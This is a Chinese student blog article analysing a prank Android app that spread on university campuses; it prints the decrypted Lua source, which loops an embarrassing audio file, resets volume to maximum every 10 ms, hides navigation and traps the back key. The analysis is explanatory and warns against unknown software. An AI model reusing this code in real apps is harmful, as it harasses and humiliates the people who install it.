震惊解密来袭
课堂上为何出现诡异声音连连?
是什么让大学生惊慌失措?
又是何种生物痛苦惨叫?
疯狂的背后又暗藏怎样的玄机?
今日小老弟现身说法为网民们一探究竟。
(且以此文,纪念9月27日流氓病毒爆发事件)
摘要
9月27号上午,一款流氓软件“送给最好的TA”席卷全国各大高校,不少同学纷纷中招。
这个软件之所以流氓,是因为它能强制把你手机的音量调到最大,并播放不可描述的声音,导致很多同学社会性死亡。
(*社会性死亡:网络流行词,其含义多为在公众面前出丑的意思,已经丢脸到没脸见人,只想地上有条缝能钻进去的程度,被称之为“社会性死亡”,和另外一个网络语“公开处刑”的含义比较接近。)
看到身边不少人都中招了,我决定把这个程序反编译一下,看看源码并给大家小小科普一下。
首先是要找到这个程序的安装包,由于这个程序太邪门了,没有人还把它留在手机上,于是只能去网上找。网上的资源甚是丰富,很快便找到了。
正文
反编译
我用的Android Killer进行反编译,反编译出来的文件结构如下:
可以看到,在assets目录下有一个0.mp3的文件,我猜测这应该就是罪恶之源了。我用播放器试着播放了一下这个mp3,事实证明我的想法是正确的。不过,这个init.lua和main.lua文件就让我很奇怪了,一般安卓开发都用Java语言,为什么这个人还用lua
(https://baike.baidu.com/item/lua/7570719fr=aladdin?)
算了,暂时先不管这个。
寻找启动页面
每一个Activity(与用户交互的组件,想详细了解的同学可以移步至:Android之Activity全面解析(https://www.jianshu.com/p/476087b4c087))都会在AndroidManifest.xml文件中进行注册,为了尽早找到相关源代码,我直接进入了这个文件,找到了默认启动的Activity:
<activity android:label="送给最好的TA" android:name="com.androlua.Welcome" android:screenOrientation="portrait" android:theme="@style/app_theme">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
intent-filter>
activity>
向右滑动
上面的代码便是注册默认启动Activity,可以看到这个Activity的名字叫Welcome。
寻找音频播放代码
尽管我在这个Activity里翻来覆去找了半天,甚至跳转至其他的Activity里寻找,但却并没有找到播放音频文件的相关代码,只有一些无关紧要的代码。最后我在Welcome的内部类里找到一段奇怪的代码:
这一段代码大概所做的工作就是读取assets目录下的lua文件。最后我又在Welcome所跳转的名为Main的Activity里找到这样一个函数:
这不正是获取main.lua的文件路径嘛。我这才反应过来,原来播放音频的逻辑写在刚刚看到的main.lua文件里了。
查看main.lua
我把这两个文件拷贝到IDEA里,却发现都已经被加密成乱码了。
我又回到刚刚的代码里看,发现了这样一句代码:
boolean bool = LuaUtil.getFileMD5(localZipFile.getInputStream((ZipEntry)localObject1)).equals(LuaUtil.getFileMD5((File)localObject3));
向右滑动
好家伙!还专门用MD5加密算法(https://baike.baidu.com/item/MD5/212708?fr=aladdin)加密了!现在我束手无策了,只能问度娘。强大的度娘竟然直接引领我找到了网友解密后的文件,不得不说网友太强了!
代码分析
init.lua文件里只是对一些变量、程序包数据的初始化,因此这里我就不说了。
这里我贴一下main.lua的代码,给大家看看真正的凶手是长什么样子的:
require("import")
import("android.app.*")
import("android.os.*")
import("android.widget.*")
import("android.view.*")
import("android.view.View")
import("android.content.Context")
import("android.media.MediaPlayer")
import("android.media.AudioManager")
import("com.androlua.Ticker")
-- 设置音乐播放流的音量为最大
activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)
activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE)
m = MediaPlayer()
m.reset()
m.setDataSource(activity.getLuaDir() .. "/0.mp3") -- 读取音频文件
m.prepare()
m.start() -- 开始播放
m.setLooping(true) -- 设置为循环播放
ti = Ticker() -- 循环器
ti.Period = 10 -- 每10毫秒执行一次下面的onTick()函数
-- 设置音乐播放流的音量为最大
function ti.onTick()
activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)
activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE)
end
ti.start() -- 启动循环器
-- 如果按下返回键,则设置音量为最大
function onKeyDown(A0_0, A1_1)
if string.find(tostring(A1_1), "KEYCODE_BACK") ~= nil then
activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)
end
return true
end
向右滑动
为了让大家更加容易理解,我在上面的代码里加上了注释。通过上面的注释我们可以了解到,这个程序循环播放0.mp3这个音频,并且自动每隔10ms(1s = 1000 ms)自动将音量设置为最大。任由你手速再快,你也达不到1秒能按100下音量键吧。
除此之外,代码原作者还注册了Service服务,也就是程序退出了还能在后台自动运行的。微信就是用的这个原理,所以你即使退出了微信,还是能够收到好友的消息。
结语
927高校事件提醒我们,对于来历不明的软件,千万不要随意安装在自己的手机或者电脑上,也不要随意点开不安全的链接。安装一些杀毒软件是很有必要的,它能拦截大部分的病毒软件,以防止你的手机或电脑受病毒侵害。
事件映射出:许多高校大学生上课沉迷各种瘾,如呼呼大睡、打游戏、刷剧,导致多方面素质急剧滑坡并出现了优进劣出的不良现象。
因此,如何度过有意义、有价值、有激情的大学时光?是我们迫切需要思考的。
从现在开始,立刻马上。
/往期推荐/
2019:我想和你谈谈高收益的大学新玩法
未来校园:回归本质,重构生态
未来在你脚下
来不及解释了,上车再说
作者 | 赵洪苛
编辑 | Dys
扫码关注不迷路!
致力于打造
学习科研实践社交于一体
校内外资源加持的
校园创业生态